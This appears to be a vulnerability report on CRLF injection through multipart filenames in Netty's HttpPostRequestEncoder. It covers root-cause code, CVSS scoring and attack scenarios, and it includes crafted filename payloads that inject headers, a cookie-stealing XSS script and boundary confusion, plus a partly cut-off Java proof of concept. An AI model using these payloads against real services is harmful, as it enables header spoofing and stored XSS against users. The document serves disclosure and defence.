Description

Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder # Security Vulnerability Report: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder ## 1. Vulnerability Summary | Field | Value | |-------|-------| | Product | Netty | | Version | 4.2.12.Final (and all prior versions with codec-http multipart) | | Component | io.netty.handler.codec.http.multipart.HttpPostRequestEncoder | | Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences / CWE-113: HTTP Response Splitting | | Impact | MIME Header Injection / Content-Type Spoofing / XSS via Content-Disposition | | CVSS 3.1 Score | 8.1 (High) | | CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N | | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | Low (attacker must be able to upload files with controlled filenames) | | User Interaction | None | | Scope | Unchanged | | Confidentiality Impact | High | | Integrity Impact | High | | Availability Impact | None | ## 2. Affected Components The following classes in the codec-http module are affected: - io.netty.handler.codec.http.multipart.HttpPostRequestEncoder — directly concatenates unvalidated filename/name into Content-Disposition MIME headers (lines 519, 633, 674, 682, 686-688) - io.netty.handler.codec.http.multipart.DiskFileUpload — setFilename() only checks null (line 78) - io.netty.handler.codec.http.multipart.MemoryFileUpload — setFilename() only checks null (line 60) - io.netty.handler.codec.http.multipart.MixedFileUpload — setFilename() delegates without validation (line 62) ## 3. Vulnerability Description Netty's HttpPostRequestEncoder constructs multipart HTTP request bodies by directly concatenating user-supplied filenames and field names into Content-Disposition MIME headers without validating or sanitizing CRLF characters (\r\n). Since MIME headers are delimited by CRLF, an attacker who controls the filename can inject arbitrary MIME headers into the multipart body part. ### Root Cause In HttpPostRequestEncoder.java, multiple code paths directly embed fileUpload.getFilename() into header strings: java // Line 674 (attachment mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.ATTACHMENT + "; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Lines 686-688 (form-data mode): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + fileUpload.getName() + "\"; " + HttpHeaderValues.FILENAME + "=\"" + fileUpload.getFilename() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^^^^^^^^ NO VALIDATION // Line 519 (attribute name): internal.addValue(HttpHeaderNames.CONTENT_DISPOSITION + ": " + HttpHeaderValues.FORM_DATA + "; " + HttpHeaderValues.NAME + "=\"" + attribute.getName() + "\"\r\n"); // ^^^^^^^^^^^^^^^^^ NO VALIDATION The setFilename() method in all FileUpload implementations only checks for null: java // DiskFileUpload.java:77-79 public void setFilename(String filename) { this.filename = ObjectUtil.checkNotNull(filename, "filename"); // NO CRLF VALIDATION } ### Comparison with Similar Fixed CVEs This vulnerability follows the same pattern as: | CVE | Component | Fix | |-----|-----------|-----| | GHSA-jq43-27x9-3v86 | SmtpRequestEncoder — SMTP command injection | Added CRLF validation in SmtpUtils.validateSMTPParameters() | | GHSA-84h7-rjj3-6jx4 | HttpRequestEncoder — CRLF in URI | Added HttpUtil.validateRequestLineTokens() | The multipart encoder has no equivalent validation for filenames or field names. ## 4. Exploitability Prerequisites This vulnerability is exploitable when: 1. The application uses Netty's HttpPostRequestEncoder to construct multipart HTTP requests 2. The filename of an uploaded file is derived from user-controlled input 3. The application does not perform its own CRLF sanitization on filenames Common affected patterns: - File upload proxies that forward user-supplied filenames - API gateways that construct multipart requests from incoming parameters - Microservice communication that passes filenames between services - Testing/automation frameworks that use Netty HTTP client with user-defined filenames ## 5. Attack Scenarios ### Scenario 1: Content-Type Override via Filename Injection An attacker uploads a file with a crafted filename to override the Content-Type of the multipart body part, potentially enabling stored XSS: java String maliciousFilename = "photo.jpg\"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>\r\n--"; DiskFileUpload upload = new DiskFileUpload( "avatar", maliciousFilename, "image/jpeg", "binary", UTF_8, fileSize); Wire format: --boundary content-disposition: form-data; name="avatar"; filename="photo.jpg" Content-Type: text/html <-- INJECTED: overrides image/jpeg <script>alert(document.cookie)</script> <-- INJECTED: XSS payload --" content-type: image/jpeg <-- Original (now ignored by many parsers) ... If the receiving server parses the first Content-Type, the file is treated as HTML instead of JPEG, enabling XSS when the file is served back. ### Scenario 2: Arbitrary MIME Header Injection java String filename = "doc.pdf\"\r\nX-Custom-Auth: admin-token-12345\r\nX-Bypass-Check: true"; Injects arbitrary headers into the multipart body part that may be processed by downstream middleware or application logic. ### Scenario 3: Multipart Boundary Confusion java String filename = "file.txt\"\r\n\r\nmalicious body content\r\n--boundary\r\nContent-Disposition: form-data; name=\"secret"; By injecting a new boundary delimiter, the attacker can: - Terminate the current body part prematurely - Start a new body part with a different field name - Override form fields processed by the server ## 6. Proof of Concept ### Full Runnable PoC Source Code (MultipartFilenameInjectionPoC.java) ```java import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.handler.codec.http.; import io.netty.handler.codec.http.multipart.; import java.io.File; import java.io.FileWriter; import java.nio.charset.StandardCharsets; /** * PoC: HTTP Multipart Content-Disposition Header Injection via Filename * Demonstrates that HttpPostRequestEncoder does not validate filenames * for CRLF characters, allowing injection of arbitrary MIME headers * into multipart form data. */ public class MultipartFilenameInjectionPoC { public static void main(String[] args) throws Exception { System.out.println("=== Netty Multipart Filename CRLF Injection PoC ===\n"); testFilenameInjection(); System.out.println("\n=== PoC Complete ==="); } static void testFilenameInjection() throws Exception { System.out.println("[TEST 1] Filename CRLF Injection in Content-Disposition"); System.out.println("-------------------------------------------------------"); // Create a temporary file for upload File tempFile = File.createTempFile("test", ".txt"); tempFile.deleteOnExit(); try (FileWriter fw = new FileWriter(tempFile)) { fw.write("test content"); } // Malicious filename with CRLF to inject Content-Type header String maliciousFilename = "innocent.txt"\r\nContent-Type: text/html\r\nX-Injected: true\r\n\r\n" + "\r\n--"; HttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.POST, "/upload"); HttpPostRequestEncoder encoder = new HttpPostRequestEncoder( new DefaultHttpDataFactory(false), request, true, StandardCharsets.UTF_8, HttpPostRequestEncoder.EncoderMode.RFC3986); DiskFileUpload fileUpload = new DiskFileUpload( "file", maliciousFilename, "application/octet-stream", "binary", StandardCharsets.UTF_8, tempFile.length()); fileUpload.setContent(tempFile); encoder.addBodyHttpData(fileUpload); encoder.finalizeRequest(); // Read the encoded multipart body StringBuilder body = new StringBuilder(); while (!encoder.isEndOfInput()) { HttpContent chunk = encoder.readChunk(Unpooled.buffer().alloc()); if (chunk != null) { body.append(chunk.content().toString(StandardCharsets.UTF_8)); chunk.release(); } } encoder.cleanFiles(); String encoded = body.toString(); System.out.println("Malicious filename: " + maliciousFilename.replace("\r", "\r").replace("\n", "\n")); System.out.println(); System.out.println("Encoded multipart body:"); System.out.println("---"); for (String line : encoded.split("\n", -1)) { System.out.println(" " + line.replace("\r", "\r")); } System.out.println("---"); boolean hasInjectedHeader = encoded.contains("X-Injected: true"); boolean hasInjectedScript = encoded.contains("

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